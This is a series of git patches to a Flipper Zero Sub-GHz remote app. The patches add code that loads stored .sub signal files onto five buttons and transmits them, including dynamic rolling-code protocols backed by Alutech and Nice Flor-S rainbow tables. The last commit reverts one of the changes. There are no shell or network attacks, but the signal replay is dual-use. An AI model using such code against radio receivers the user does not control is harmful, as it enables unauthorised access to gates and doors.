subghz_environment_set_alutech_at_4n_rainbow_table_file_name( + app->environment, EXT_PATH("subghz/assets/alutech_at_4n")); + subghz_environment_set_nice_flor_s_rainbow_table_file_name( + app->environment, EXT_PATH("subghz/assets/nice_flor_s")); + subghz_environment_set_protocol_registry(app->environment, (void*)&subghz_protocol_registry); + + app->receiver = subghz_receiver_alloc_init(app->environment); + scene_manager_next_scene(app->scene_manager, SubRemSceneStart); return app; @@ -117,6 +145,13 @@ SubGhzRemoteApp* subghz_remote_app_alloc() { void subghz_remote_app_free(SubGhzRemoteApp* app) { furi_assert(app); + furi_hal_power_suppress_charge_exit(); + + // Disable power for External CC1101 if it was enabled and module is connected + furi_hal_subghz_disable_ext_power(); + // Reinit SPI handles for internal radio / nfc + furi_hal_subghz_init_radio_type(SubGhzRadioInternal); + // Submenu view_dispatcher_remove_view(app->view_dispatcher, SubRemViewSubmenu); submenu_free(app->submenu); @@ -140,6 +175,8 @@ void subghz_remote_app_free(SubGhzRemoteApp* app) { view_dispatcher_remove_view(app->view_dispatcher, SubRemViewIDRemote); subrem_view_remote_free(app->subrem_remote_view); + subghz_receiver_free(app->receiver); + subghz_environment_free(app->environment); subghz_setting_free(app->setting); for(uint8_t i = 0; i < SUBREM_MAX_SUB_KEY_COUNT; i++) { diff --git a/applications/external/subghz_remote_new/subghz_remote_app_i.c b/applications/external/subghz_remote_new/subghz_remote_app_i.c index bc874946d..7ebad702f 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app_i.c +++ b/applications/external/subghz_remote_new/subghz_remote_app_i.c @@ -8,11 +8,11 @@ #define TAG "SubGhzRemote" static const char* map_file_labels[SUBREM_MAX_SUB_KEY_COUNT][2] = { - {"OK", "OKLABEL"}, {"UP", "ULABEL"}, {"DOWN", "DLABEL"}, {"LEFT", "LLABEL"}, {"RIGHT", "RLABEL"}, + {"OK", "OKLABEL"}, }; bool subrem_set_preset_data(SubGhzSetting* setting, FreqPreset* freq_preset, const char* preset) { @@ -42,7 +42,9 @@ SubRemSubFilePreset* subrem_sub_file_preset_alloc() { sub_preset->fff_data = flipper_format_string_alloc(); sub_preset->file_path = furi_string_alloc(); + sub_preset->protocaol_name = furi_string_alloc(); sub_preset->label = furi_string_alloc_set_str("N/A"); + sub_preset->type = SubRemSubKeyTypeNoData; return sub_preset; @@ -52,13 +54,35 @@ void subrem_sub_file_preset_free(SubRemSubFilePreset* sub_preset) { furi_assert(sub_preset); furi_string_free(sub_preset->label); + furi_string_free(sub_preset->protocaol_name); furi_string_free(sub_preset->file_path); flipper_format_free(sub_preset->fff_data); free(sub_preset); } -static bool subrem_sub_file_preset_load(SubGhzRemoteApp* app, FlipperFormat* fff_data_file) { +void subrem_subs_file_preset_reset(SubRemSubFilePreset* sub_preset) { + furi_assert(sub_preset); + + furi_string_set_str(sub_preset->label, "N/A"); + furi_string_reset(sub_preset->protocaol_name); + furi_string_reset(sub_preset->file_path); + + Stream* fff_data_stream = flipper_format_get_raw_stream(sub_preset->fff_data); + stream_clean(fff_data_stream); + + sub_preset->type = SubRemSubKeyTypeNoData; +} + +void subrem_sub_file_presets_reset(SubGhzRemoteApp* app) { + furi_assert(app); + + for(uint8_t i = 0; i < SUBREM_MAX_SUB_KEY_COUNT; i++) { + subrem_subs_file_preset_reset(app->subs_preset[i]); + } +} + +static bool subrem_sub_file_presets_load(SubGhzRemoteApp* app, FlipperFormat* fff_data_file) { furi_assert(app); bool ret = false; @@ -83,7 +107,7 @@ static bool subrem_sub_file_preset_load(SubGhzRemoteApp* app, FlipperFormat* fff map_file_labels[i][0], furi_string_get_cstr(app->subs_preset[i]->label), furi_string_get_cstr(app->subs_preset[i]->file_path)); - app->subs_preset[i]->type = SubRemSubKeyTypeHaveFileName; // TODO + app->subs_preset[i]->type = SubRemSubKeyTypeHaveFileName; // TODO: ret = true; } flipper_format_rewind(fff_data_file); @@ -91,6 +115,67 @@ static bool subrem_sub_file_preset_load(SubGhzRemoteApp* app, FlipperFormat* fff return ret; } +bool subghz_tx_start_sub(SubGhzRemoteApp* app, SubRemSubFilePreset* sub_preset) { + furi_assert(app); + furi_assert(sub_preset); + bool ret = false; + + FURI_LOG_I(TAG, "Send %s", furi_string_get_cstr(sub_preset->label)); + + do { + flipper_format_rewind(sub_preset->fff_data); // FIXME: + + app->transmitter = subghz_transmitter_alloc_init( + app->environment, furi_string_get_cstr(sub_preset->protocaol_name)); + + if(app->transmitter) { + if(subghz_transmitter_deserialize(app->transmitter, sub_preset->fff_data) != + SubGhzProtocolStatusOk) { + FURI_LOG_E(TAG, "Deserialize error!"); + break; + } + furi_hal_subghz_reset(); + furi_hal_subghz_idle(); + furi_hal_subghz_load_custom_preset(sub_preset->freq_preset.data); + furi_hal_gpio_init( + furi_hal_subghz.cc1101_g0_pin, GpioModeInput, GpioPullNo, GpioSpeedLow); + + furi_hal_subghz_idle(); + + furi_hal_subghz_set_frequency_and_path(sub_preset->freq_preset.frequency); + furi_hal_gpio_write(furi_hal_subghz.cc1101_g0_pin, false); + furi_hal_gpio_init( + furi_hal_subghz.cc1101_g0_pin, GpioModeOutputPushPull, GpioPullNo, GpioSpeedLow); + + if(!furi_hal_subghz_tx()) { + FURI_LOG_E(TAG, "Sending not allowed"); + break; + } + + furi_hal_subghz_start_async_tx(subghz_transmitter_yield, app->transmitter); + + ret = true; + } + } while(false); + + // ret = false; // TODO: + return ret; +} + +void subghz_tx_stop_sub(SubGhzRemoteApp* app, SubRemSubFilePreset* sub_preset) { + furi_assert(app); + furi_assert(sub_preset); + + //Stop TX + furi_hal_subghz_stop_async_tx(); + + subghz_transmitter_stop(app->transmitter); + subghz_transmitter_free(app->transmitter); + furi_hal_subghz_idle(); + + // TODO: need saving logic +} + static bool subrem_sub_presets_check(SubGhzRemoteApp* app, FlipperFormat* fff_data_file) { furi_assert(app); FuriString* temp_str = furi_string_alloc(); @@ -98,10 +183,6 @@ static bool subrem_sub_presets_check(SubGhzRemoteApp* app, FlipperFormat* fff_da bool ret = false; SubRemSubFilePreset* sub_preset; - // TODO: - // const SubGhzProtocolRegistry* protocol_registry_items = - // subghz_environment_get_protocol_registry(app->environment); - for(uint8_t i = 0; i < SUBREM_MAX_SUB_KEY_COUNT; i++) { sub_preset = app->subs_preset[i]; if(sub_preset->type == SubRemSubKeyTypeNoData) { @@ -172,16 +253,44 @@ static bool subrem_sub_presets_check(SubGhzRemoteApp* app, FlipperFormat* fff_da flipper_format_get_raw_stream(fff_data)); } - // subghz_protocol_registry_get_by_name( - // protocol_registry_items, furi_string_get_cstr(temp_str)); // TODO: check dynamic and protocol found + const SubGhzProtocolRegistry* protocol_registry_items = + subghz_environment_get_protocol_registry(app->environment); + const SubGhzProtocol* protocol = subghz_protocol_registry_get_by_name( + protocol_registry_items, furi_string_get_cstr(temp_str)); + + if(!protocol) { + FURI_LOG_E(TAG, "Protocol not found"); + break; + } else if(protocol->flag & SubGhzProtocolFlag_Send) { // FIXME: + + if(protocol->type == SubGhzProtocolTypeStatic) { + sub_preset->type = SubRemSubKeyTypeStaticKey; + } else if(protocol->type == SubGhzProtocolTypeDynamic) { + sub_preset->type = SubRemSubKeyTypeDynamicKey; + } else if(protocol->type == SubGhzProtocolTypeRAW) { + sub_preset->type = SubRemSubKeyTypeRawKey; + // } else if(protocol->type == SubGhzProtocolTypeBinRAW) { // TODO: BINRAW + } else { + FURI_LOG_E(TAG, "Unsuported Protocol"); + break; + } + + furi_string_set(sub_preset->protocaol_name, temp_str); + } // TODO: check dynamic and protocol found + + ret |= true; + + if(ret) { + FURI_LOG_I(TAG, "Protocol Loaded"); + } } while(false); flipper_format_file_close(fff_data_file); } furi_string_free(temp_str); - ret = false; // TODO: + //ret = false; // TODO: return ret; } @@ -194,14 +303,19 @@ bool subrem_map_file_load(SubGhzRemoteApp* app, const char* file_path) { FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); bool ret = false; FURI_LOG_I(TAG, "Open Map File.."); // drop + + subrem_sub_file_presets_reset(app); + if(!flipper_format_file_open_existing(fff_data_file, file_path)) { FURI_LOG_E(TAG, "Could not open MAP file %s", file_path); } else { - if(!subrem_sub_file_preset_load(app, fff_data_file)) { + if(!subrem_sub_file_presets_load(app, fff_data_file)) { // TODO: error popup or return error type FURI_LOG_E(TAG, "Could no Sub file path in MAP file"); - } else if(!(flipper_format_file_close(fff_data_file) && - subrem_sub_presets_check(app, fff_data_file))) { + } else if( + (flipper_format_file_close(fff_data_file)) && + (subrem_sub_presets_check(app, fff_data_file))) { + FURI_LOG_I(TAG, "Load Map File Seccesful"); ret = true; } } @@ -211,8 +325,7 @@ bool subrem_map_file_load(SubGhzRemoteApp* app, const char* file_path) { furi_record_close(RECORD_STORAGE); - FURI_LOG_I(TAG, "Load Map File Done"); // drop - ret = false; // TODO + //ret = false; // TODO: return ret; } @@ -232,7 +345,6 @@ bool subrem_load_from_file(SubGhzRemoteApp* app) { if(res) { res = subrem_map_file_load(app, furi_string_get_cstr(app->file_path)); // FIXME res = subghz_key_load(app, furi_string_get_cstr(app->file_path), true); - res = false; } furi_string_free(file_path); diff --git a/applications/external/subghz_remote_new/subghz_remote_app_i.h b/applications/external/subghz_remote_new/subghz_remote_app_i.h index e01ba939e..d954eca02 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app_i.h +++ b/applications/external/subghz_remote_new/subghz_remote_app_i.h @@ -44,6 +44,7 @@ typedef struct { FlipperFormat* fff_data; FreqPreset freq_preset; FuriString* file_path; + FuriString* protocaol_name; FuriString* label; SubRemSubKeyType type; } SubRemSubFilePreset; @@ -70,6 +71,9 @@ typedef struct { SubRemSubFilePreset* subs_preset[SUBREM_MAX_SUB_KEY_COUNT]; SubGhzSetting* setting; + SubGhzEnvironment* environment; + SubGhzReceiver* receiver; + SubGhzTransmitter* transmitter; // AvrIspProgrammerView* subghz_remote_programmer_view; // AvrIspReaderView* subghz_remote_reader_view; @@ -79,4 +83,7 @@ typedef struct { // AvrIspError error; } SubGhzRemoteApp; -bool subrem_load_from_file(SubGhzRemoteApp* app); \ No newline at end of file +bool subrem_load_from_file(SubGhzRemoteApp* app); + +bool subghz_tx_start_sub(SubGhzRemoteApp* app, SubRemSubFilePreset* sub_preset); +void subghz_tx_stop_sub(SubGhzRemoteApp* app, SubRemSubFilePreset* sub_preset); \ No newline at end of file diff --git a/applications/external/subghz_remote_new/views/transmitter.c b/applications/external/subghz_remote_new/views/transmitter.c index a3589339d..6f43a1406 100644 --- a/applications/external/subghz_remote_new/views/transmitter.c +++ b/applications/external/subghz_remote_new/views/transmitter.c @@ -185,6 +185,8 @@ bool subrem_view_remote_input(InputEvent* event, void* context) { SubRemViewRemoteModel * model, { model->pressed_btn = 1; }, true); + subrem_view_remote->callback( + SubRemCustomEventViewRemoteStartUP, subrem_view_remote->context); return true; } else if(event->type == InputTypeRelease) { with_view_model( @@ -192,6 +194,8 @@ bool subrem_view_remote_input(InputEvent* event, void* context) { SubRemViewRemoteModel * model, { model->pressed_btn = 0; }, true); + subrem_view_remote->callback( + SubRemCustomEventViewRemoteStop, subrem_view_remote->context); return true; } } From cdf8daff867049d16986b1109eb814cbd9ba631a Mon Sep 17 00:00:00 2001 From: gid9798 <30450294+gid9798@users.noreply.github.com> Date: Mon, 15 May 2023 22:11:18 +0300 Subject: [PATCH 004/100] add tx 2 --- .../helpers/subrem_custom_event.h | 1 + .../scenes/subrem_scene_remote.c | 67 +++++++++++++++- .../subghz_remote_new/subghz_remote_app.c | 2 + .../subghz_remote_new/subghz_remote_app_i.c | 21 ++++- .../subghz_remote_new/subghz_remote_app_i.h | 13 +++- .../subghz_remote_new/views/transmitter.c | 78 +++++++++++++------ .../subghz_remote_new/views/transmitter.h | 4 +- 7 files changed, 153 insertions(+), 33 deletions(-) diff --git a/applications/external/subghz_remote_new/helpers/subrem_custom_event.h b/applications/external/subghz_remote_new/helpers/subrem_custom_event.h index 0e0ab94ef..0c999d5e5 100644 --- a/applications/external/subghz_remote_new/helpers/subrem_custom_event.h +++ b/applications/external/subghz_remote_new/helpers/subrem_custom_event.h @@ -17,6 +17,7 @@ typedef enum { SubRemCustomEventViewRemoteStartRIGHT, SubRemCustomEventViewRemoteStartOK, SubRemCustomEventViewRemoteStop, + SubRemCustomEventViewRemoteForceStop, // SubRemCustomEventSceneDeleteSuccess = 100, // SubRemCustomEventSceneDelete, diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_remote.c b/applications/external/subghz_remote_new/scenes/subrem_scene_remote.c index 58e253d1c..f7da910ab 100644 --- a/applications/external/subghz_remote_new/scenes/subrem_scene_remote.c +++ b/applications/external/subghz_remote_new/scenes/subrem_scene_remote.c @@ -1,6 +1,8 @@ #include "../subghz_remote_app_i.h" #include "../views/transmitter.h" +#include + // TODO: // #include // #include @@ -13,6 +15,12 @@ void subrem_scene_remote_callback(SubRemCustomEvent event, void* context) { view_dispatcher_send_custom_event(app->view_dispatcher, event); } +void subrem_scene_remote_raw_callback_end_tx(void* context) { + furi_assert(context); + SubGhzRemoteApp* app = context; + view_dispatcher_send_custom_event(app->view_dispatcher, SubRemCustomEventViewRemoteForceStop); +} + bool subrem_scene_remote_update_data_show(void* context) { SubGhzRemoteApp* app = context; //UNUSED(app); @@ -113,12 +121,65 @@ bool subrem_scene_remote_on_event(void* context, SceneManagerEvent event) { app->scene_manager, SubRemSceneStart); return true; } else if(event.event == SubRemCustomEventViewRemoteStartUP) { - if(subghz_tx_start_sub(app, app->subs_preset[0])) { + if(subghz_tx_start_sub( + app, app->subs_preset[0], subrem_scene_remote_raw_callback_end_tx)) { + app->chusen_sub = 0; + subrem_view_remote_set_state(app->subrem_remote_view, 1); notification_message(app->notifications, &sequence_blink_start_magenta); } - } else if(event.event == SubRemCustomEventViewRemoteStop) { - subghz_tx_stop_sub(app, app->subs_preset[0]); + return true; + } else if(event.event == SubRemCustomEventViewRemoteStartDOWN) { + if(subghz_tx_start_sub( + app, app->subs_preset[1], subrem_scene_remote_raw_callback_end_tx)) { + app->chusen_sub = 1; + subrem_view_remote_set_state(app->subrem_remote_view, 2); + notification_message(app->notifications, &sequence_blink_start_magenta); + } + return true; + } else if(event.event == SubRemCustomEventViewRemoteStartLEFT) { + if(subghz_tx_start_sub( + app, app->subs_preset[2], subrem_scene_remote_raw_callback_end_tx)) { + app->chusen_sub = 2; + subrem_view_remote_set_state(app->subrem_remote_view, 3); + notification_message(app->notifications, &sequence_blink_start_magenta); + } + return true; + } else if(event.event == SubRemCustomEventViewRemoteStartRIGHT) { + if(subghz_tx_start_sub( + app, app->subs_preset[3], subrem_scene_remote_raw_callback_end_tx)) { + app->chusen_sub = 3; + subrem_view_remote_set_state(app->subrem_remote_view, 4); + notification_message(app->notifications, &sequence_blink_start_magenta); + } + return true; + } else if(event.event == SubRemCustomEventViewRemoteStartOK) { + if(subghz_tx_start_sub( + app, app->subs_preset[4], subrem_scene_remote_raw_callback_end_tx)) { + app->chusen_sub = 4; + subrem_view_remote_set_state(app->subrem_remote_view, 5); + notification_message(app->notifications, &sequence_blink_start_magenta); + } + return true; + } else if(event.event == SubRemCustomEventViewRemoteForceStop) { + if(app->tx_running) { + subghz_tx_stop_sub(app); + subrem_view_remote_set_state(app->subrem_remote_view, 0); + } notification_message(app->notifications, &sequence_blink_stop); + return true; + } else if(event.event == SubRemCustomEventViewRemoteStop) { + // if(app->tx_running && + // (app->subs_preset[app->chusen_sub]->type == SubRemSubKeyTypeRawKey)) { + // subghz_tx_stop_sub(app); + // subrem_view_remote_set_state(app->subrem_remote_view, 0); + // } + // notification_message(app->notifications, &sequence_blink_stop); + if(app->tx_running) { + subghz_tx_stop_sub(app); + subrem_view_remote_set_state(app->subrem_remote_view, 0); + } + notification_message(app->notifications, &sequence_blink_stop); + return true; } // notification_message(app->notification, &sequence_blink_stop); diff --git a/applications/external/subghz_remote_new/subghz_remote_app.c b/applications/external/subghz_remote_new/subghz_remote_app.c index 1bfa3a1b3..17a559da8 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app.c +++ b/applications/external/subghz_remote_new/subghz_remote_app.c @@ -137,6 +137,8 @@ SubGhzRemoteApp* subghz_remote_app_alloc() { app->receiver = subghz_receiver_alloc_init(app->environment); + app->tx_running = false; + scene_manager_next_scene(app->scene_manager, SubRemSceneStart); return app; diff --git a/applications/external/subghz_remote_new/subghz_remote_app_i.c b/applications/external/subghz_remote_new/subghz_remote_app_i.c index 7ebad702f..ef22a9e6d 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app_i.c +++ b/applications/external/subghz_remote_new/subghz_remote_app_i.c @@ -115,7 +115,10 @@ static bool subrem_sub_file_presets_load(SubGhzRemoteApp* app, FlipperFormat* ff return ret; } -bool subghz_tx_start_sub(SubGhzRemoteApp* app, SubRemSubFilePreset* sub_preset) { +bool subghz_tx_start_sub( + SubGhzRemoteApp* app, + SubRemSubFilePreset* sub_preset, + SubGhzProtocolEncoderRAWCallbackEnd callback) { furi_assert(app); furi_assert(sub_preset); bool ret = false; @@ -152,19 +155,26 @@ bool subghz_tx_start_sub(SubGhzRemoteApp* app, SubRemSubFilePreset* sub_preset) break; } + if(sub_preset->type == SubRemSubKeyTypeRawKey) { + subghz_protocol_raw_file_encoder_worker_set_callback_end( + (SubGhzProtocolEncoderRAW*)subghz_transmitter_get_protocol_instance( + app->transmitter), + callback, + app); + } + furi_hal_subghz_start_async_tx(subghz_transmitter_yield, app->transmitter); ret = true; } } while(false); + app->tx_running = ret; // TODO: - // ret = false; // TODO: return ret; } -void subghz_tx_stop_sub(SubGhzRemoteApp* app, SubRemSubFilePreset* sub_preset) { +void subghz_tx_stop_sub(SubGhzRemoteApp* app) { furi_assert(app); - furi_assert(sub_preset); //Stop TX furi_hal_subghz_stop_async_tx(); @@ -173,7 +183,10 @@ void subghz_tx_stop_sub(SubGhzRemoteApp* app, SubRemSubFilePreset* sub_preset) { subghz_transmitter_free(app->transmitter); furi_hal_subghz_idle(); + // SubRemSubFilePreset* sub_preset = app->subs_preset[app->chusen_sub]; + // TODO: need saving logic + app->tx_running = false; } static bool subrem_sub_presets_check(SubGhzRemoteApp* app, FlipperFormat* fff_data_file) { diff --git a/applications/external/subghz_remote_new/subghz_remote_app_i.h b/applications/external/subghz_remote_new/subghz_remote_app_i.h index d954eca02..13f3d63c5 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app_i.h +++ b/applications/external/subghz_remote_new/subghz_remote_app_i.h @@ -18,6 +18,8 @@ #include #include +#include + #include #include #include @@ -75,6 +77,10 @@ typedef struct { SubGhzReceiver* receiver; SubGhzTransmitter* transmitter; + bool tx_running; + + uint8_t chusen_sub; + // AvrIspProgrammerView* subghz_remote_programmer_view; // AvrIspReaderView* subghz_remote_reader_view; // AvrIspWriterView* subghz_remote_writer_view; @@ -85,5 +91,8 @@ typedef struct { bool subrem_load_from_file(SubGhzRemoteApp* app); -bool subghz_tx_start_sub(SubGhzRemoteApp* app, SubRemSubFilePreset* sub_preset); -void subghz_tx_stop_sub(SubGhzRemoteApp* app, SubRemSubFilePreset* sub_preset); \ No newline at end of file +bool subghz_tx_start_sub( + SubGhzRemoteApp* app, + SubRemSubFilePreset* sub_preset, + SubGhzProtocolEncoderRAWCallbackEnd callback); +void subghz_tx_stop_sub(SubGhzRemoteApp* app); \ No newline at end of file diff --git a/applications/external/subghz_remote_new/views/transmitter.c b/applications/external/subghz_remote_new/views/transmitter.c index 6f43a1406..a814880f9 100644 --- a/applications/external/subghz_remote_new/views/transmitter.c +++ b/applications/external/subghz_remote_new/views/transmitter.c @@ -85,6 +85,15 @@ void subrem_view_remote_add_data_to_show( true); } +void subrem_view_remote_set_state(SubRemViewRemote* subrem_view_remote, uint8_t state) { + furi_assert(subrem_view_remote); + with_view_model( + subrem_view_remote->view, + SubRemViewRemoteModel * model, + { model->pressed_btn = state; }, + true); +} + void subrem_view_remote_draw(Canvas* canvas, SubRemViewRemoteModel* model) { canvas_clear(canvas); canvas_set_color(canvas, ColorBlack); @@ -139,10 +148,10 @@ void subrem_view_remote_draw(Canvas* canvas, SubRemViewRemoteModel* model) { canvas_draw_icon_ex(canvas, 116, 17, &I_Pin_arrow_up_7x9, IconRotation180); break; case 3: - canvas_draw_icon_ex(canvas, 115, 18, &I_Pin_arrow_up_7x9, IconRotation90); + canvas_draw_icon_ex(canvas, 115, 18, &I_Pin_arrow_up_7x9, IconRotation270); break; case 4: - canvas_draw_icon_ex(canvas, 115, 18, &I_Pin_arrow_up_7x9, IconRotation270); + canvas_draw_icon_ex(canvas, 115, 18, &I_Pin_arrow_up_7x9, IconRotation90); break; case 5: canvas_draw_icon(canvas, 116, 18, &I_Pin_star_7x7); @@ -177,28 +186,51 @@ bool subrem_view_remote_input(InputEvent* event, void* context) { // furi_string_reset(model->ok_label); }, false); - return false; - } else if(event->key == InputKeyUp) { - if(event->type == InputTypePress) { - with_view_model( - subrem_view_remote->view, - SubRemViewRemoteModel * model, - { model->pressed_btn = 1; }, - true); - subrem_view_remote->callback( - SubRemCustomEventViewRemoteStartUP, subrem_view_remote->context); - return true; - } else if(event->type == InputTypeRelease) { - with_view_model( - subrem_view_remote->view, - SubRemViewRemoteModel * model, - { model->pressed_btn = 0; }, - true); - subrem_view_remote->callback( - SubRemCustomEventViewRemoteStop, subrem_view_remote->context); - return true; - } + return false; // TODO: check + } else if(event->key == InputKeyBack && event->type == InputTypeShort) { + with_view_model( + subrem_view_remote->view, + SubRemViewRemoteModel * model, + { model->pressed_btn = 0; }, + true); + subrem_view_remote->callback( + SubRemCustomEventViewRemoteForceStop, subrem_view_remote->context); + return true; + } else if(event->key == InputKeyBack) { + return true; } + // BACK button processing end + + if(event->key == InputKeyUp && event->type == InputTypePress) { + subrem_view_remote->callback( + SubRemCustomEventViewRemoteStartUP, subrem_view_remote->context); + return true; + } else if(event->key == InputKeyDown && event->type == InputTypePress) { + subrem_view_remote->callback( + SubRemCustomEventViewRemoteStartDOWN, subrem_view_remote->context); + return true; + } else if(event->key == InputKeyLeft && event->type == InputTypePress) { + subrem_view_remote->callback( + SubRemCustomEventViewRemoteStartLEFT, subrem_view_remote->context); + return true; + } else if(event->key == InputKeyRight && event->type == InputTypePress) { + subrem_view_remote->callback( + SubRemCustomEventViewRemoteStartRIGHT, subrem_view_remote->context); + return true; + } else if(event->key == InputKeyOk && event->type == InputTypePress) { + subrem_view_remote->callback( + SubRemCustomEventViewRemoteStartOK, subrem_view_remote->context); + return true; + } else if(event->type == InputTypeRelease) { + with_view_model( + subrem_view_remote->view, + SubRemViewRemoteModel * model, + { model->pressed_btn = 0; }, + true); + subrem_view_remote->callback(SubRemCustomEventViewRemoteStop, subrem_view_remote->context); + return true; + } + return true; } diff --git a/applications/external/subghz_remote_new/views/transmitter.h b/applications/external/subghz_remote_new/views/transmitter.h index a324d09ec..64985ff12 100644 --- a/applications/external/subghz_remote_new/views/transmitter.h +++ b/applications/external/subghz_remote_new/views/transmitter.h @@ -24,4 +24,6 @@ void subrem_view_remote_add_data_to_show( const char* down_label, const char* left_label, const char* right_label, - const char* ok_label); \ No newline at end of file + const char* ok_label); + +void subrem_view_remote_set_state(SubRemViewRemote* subrem_view_remote, uint8_t state); \ No newline at end of file From 075dfe8109ab3de051188f43f738443b48ebfd54 Mon Sep 17 00:00:00 2001 From: gid9798 <30450294+gid9798@users.noreply.github.com> Date: Wed, 17 May 2023 17:48:05 +0300 Subject: [PATCH 005/100] Revert "add tx 2" This reverts commit cdf8daff867049d16986b1109eb814cbd9ba631a. --- .../helpers/subrem_custom_event.h | 1 - .../scenes/subrem_scene_remote.c | 65 +--------------- .../subghz_remote_new/subghz_remote_app.c | 2 - .../subghz_remote_new/subghz_remote_app_i.c | 21 +---- .../subghz_remote_new/subghz_remote_app_i.h | 13 +--- .../subghz_remote_new/views/transmitter.c | 78 ++++++------------- .../subghz_remote_new/views/transmitter.h | 4 +- 7 files changed, 32 insertions(+), 152 deletions(-) diff --git a/applications/external/subghz_remote_new/helpers/subrem_custom_event.h b/applications/external/subghz_remote_new/helpers/subrem_custom_event.h index 0c999d5e5..0e0ab94ef 100644 --- a/applications/external/subghz_remote_new/helpers/subrem_custom_event.h +++ b/applications/external/subghz_remote_new/helpers/subrem_custom_event.h @@ -17,7 +17,6 @@ typedef enum { SubRemCustomEventViewRemoteStartRIGHT, SubRemCustomEventViewRemoteStartOK, SubRemCustomEventViewRemoteStop, - SubRemCustomEventViewRemoteForceStop, // SubRemCustomEventSceneDeleteSuccess = 100, // SubRemCustomEventSceneDelete, diff --git a/applications/external/subghz_remote_new/scenes/subrem_scene_remote.c b/applications/external/subghz_remote_new/scenes/subrem_scene_remote.c index f7da910ab..58e253d1c 100644 --- a/applications/external/subghz_remote_new/scenes/subrem_scene_remote.c +++ b/applications/external/subghz_remote_new/scenes/subrem_scene_remote.c @@ -1,8 +1,6 @@ #include "../subghz_remote_app_i.h" #include "../views/transmitter.h" -#include - // TODO: // #include // #include @@ -15,12 +13,6 @@ void subrem_scene_remote_callback(SubRemCustomEvent event, void* context) { view_dispatcher_send_custom_event(app->view_dispatcher, event); } -void subrem_scene_remote_raw_callback_end_tx(void* context) { - furi_assert(context); - SubGhzRemoteApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, SubRemCustomEventViewRemoteForceStop); -} - bool subrem_scene_remote_update_data_show(void* context) { SubGhzRemoteApp* app = context; //UNUSED(app); @@ -121,65 +113,12 @@ bool subrem_scene_remote_on_event(void* context, SceneManagerEvent event) { app->scene_manager, SubRemSceneStart); return true; } else if(event.event == SubRemCustomEventViewRemoteStartUP) { - if(subghz_tx_start_sub( - app, app->subs_preset[0], subrem_scene_remote_raw_callback_end_tx)) { - app->chusen_sub = 0; - subrem_view_remote_set_state(app->subrem_remote_view, 1); + if(subghz_tx_start_sub(app, app->subs_preset[0])) { notification_message(app->notifications, &sequence_blink_start_magenta); } - return true; - } else if(event.event == SubRemCustomEventViewRemoteStartDOWN) { - if(subghz_tx_start_sub( - app, app->subs_preset[1], subrem_scene_remote_raw_callback_end_tx)) { - app->chusen_sub = 1; - subrem_view_remote_set_state(app->subrem_remote_view, 2); - notification_message(app->notifications, &sequence_blink_start_magenta); - } - return true; - } else if(event.event == SubRemCustomEventViewRemoteStartLEFT) { - if(subghz_tx_start_sub( - app, app->subs_preset[2], subrem_scene_remote_raw_callback_end_tx)) { - app->chusen_sub = 2; - subrem_view_remote_set_state(app->subrem_remote_view, 3); - notification_message(app->notifications, &sequence_blink_start_magenta); - } - return true; - } else if(event.event == SubRemCustomEventViewRemoteStartRIGHT) { - if(subghz_tx_start_sub( - app, app->subs_preset[3], subrem_scene_remote_raw_callback_end_tx)) { - app->chusen_sub = 3; - subrem_view_remote_set_state(app->subrem_remote_view, 4); - notification_message(app->notifications, &sequence_blink_start_magenta); - } - return true; - } else if(event.event == SubRemCustomEventViewRemoteStartOK) { - if(subghz_tx_start_sub( - app, app->subs_preset[4], subrem_scene_remote_raw_callback_end_tx)) { - app->chusen_sub = 4; - subrem_view_remote_set_state(app->subrem_remote_view, 5); - notification_message(app->notifications, &sequence_blink_start_magenta); - } - return true; - } else if(event.event == SubRemCustomEventViewRemoteForceStop) { - if(app->tx_running) { - subghz_tx_stop_sub(app); - subrem_view_remote_set_state(app->subrem_remote_view, 0); - } - notification_message(app->notifications, &sequence_blink_stop); - return true; } else if(event.event == SubRemCustomEventViewRemoteStop) { - // if(app->tx_running && - // (app->subs_preset[app->chusen_sub]->type == SubRemSubKeyTypeRawKey)) { - // subghz_tx_stop_sub(app); - // subrem_view_remote_set_state(app->subrem_remote_view, 0); - // } - // notification_message(app->notifications, &sequence_blink_stop); - if(app->tx_running) { - subghz_tx_stop_sub(app); - subrem_view_remote_set_state(app->subrem_remote_view, 0); - } + subghz_tx_stop_sub(app, app->subs_preset[0]); notification_message(app->notifications, &sequence_blink_stop); - return true; } // notification_message(app->notification, &sequence_blink_stop); diff --git a/applications/external/subghz_remote_new/subghz_remote_app.c b/applications/external/subghz_remote_new/subghz_remote_app.c index 17a559da8..1bfa3a1b3 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app.c +++ b/applications/external/subghz_remote_new/subghz_remote_app.c @@ -137,8 +137,6 @@ SubGhzRemoteApp* subghz_remote_app_alloc() { app->receiver = subghz_receiver_alloc_init(app->environment); - app->tx_running = false; - scene_manager_next_scene(app->scene_manager, SubRemSceneStart); return app; diff --git a/applications/external/subghz_remote_new/subghz_remote_app_i.c b/applications/external/subghz_remote_new/subghz_remote_app_i.c index ef22a9e6d..7ebad702f 100644 --- a/applications/external/subghz_remote_new/subghz_remote_app_i.c +++ b/applications/external/subghz_remote_new/subghz_remote_app_i.c @@ -115,10 +115,7 @@ static bool subrem_sub_file_presets_load(SubGhzRemoteApp* app, FlipperFormat* ff return ret; } -bool subghz_tx_start_sub( - SubGhzRemoteApp* app, - SubRemSubFilePreset* sub_preset, - SubGhzProtocolEncoderRAWCallbackEnd callback) { +bool subghz_tx_start_sub(SubGhzRemoteApp* app, SubRemSubFilePreset* sub_preset) { furi_assert(app); furi_assert(sub_preset); bool ret = false; @@ -155,26 +152,19 @@ bool subghz_tx_start_sub( break; } - if(sub_preset->type == SubRemSubKeyTypeRawKey) { - subghz_protocol_raw_file_encoder_worker_set_callback_end( - (SubGhzProtocolEncoderRAW*)subghz_transmitter_get_protocol_instance( - app->transmitter), - callback, - app); - } - furi_hal_subghz_start_async_tx(subghz_transmitter_yield, app->transmitter); ret = true; } } while(false); - app->tx_running = ret; // TODO: + // ret = false; // TODO: return ret; } -void subghz_tx_stop_sub(SubGhzRemoteApp* app) { +void subghz_tx_stop_sub(SubGhzRemoteApp* app, SubRemSubFilePreset* sub_preset) { furi_assert(app); + furi_assert(sub_preset); 